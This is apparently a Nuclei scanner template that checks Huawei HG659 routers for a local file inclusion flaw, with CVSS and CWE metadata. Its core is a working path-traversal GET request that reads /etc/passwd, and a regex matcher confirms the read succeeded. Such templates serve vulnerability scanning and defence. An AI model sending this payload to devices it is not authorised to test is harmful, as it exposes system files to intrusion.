id: huawei-hg659-lfi

info:
  name: HUAWEI HG659 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: HUAWEI HG659 is vulnerable to local file inclusion.
  reference:
    - https://twitter.com/sec715/status/1406782172443287559
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,huawei

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib///....//....//....//....//....//....//....//....//etc//passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207187a5e0dd6b37081edd6f6ad69e73e52ea07173dbdcf15198edf0673774c9f402202328f40ae1da495cd813b75e765dbd30be8069ea4d4f493aeb271fd8cfdcd76c:922c64590222798bb761d5b6d8e72950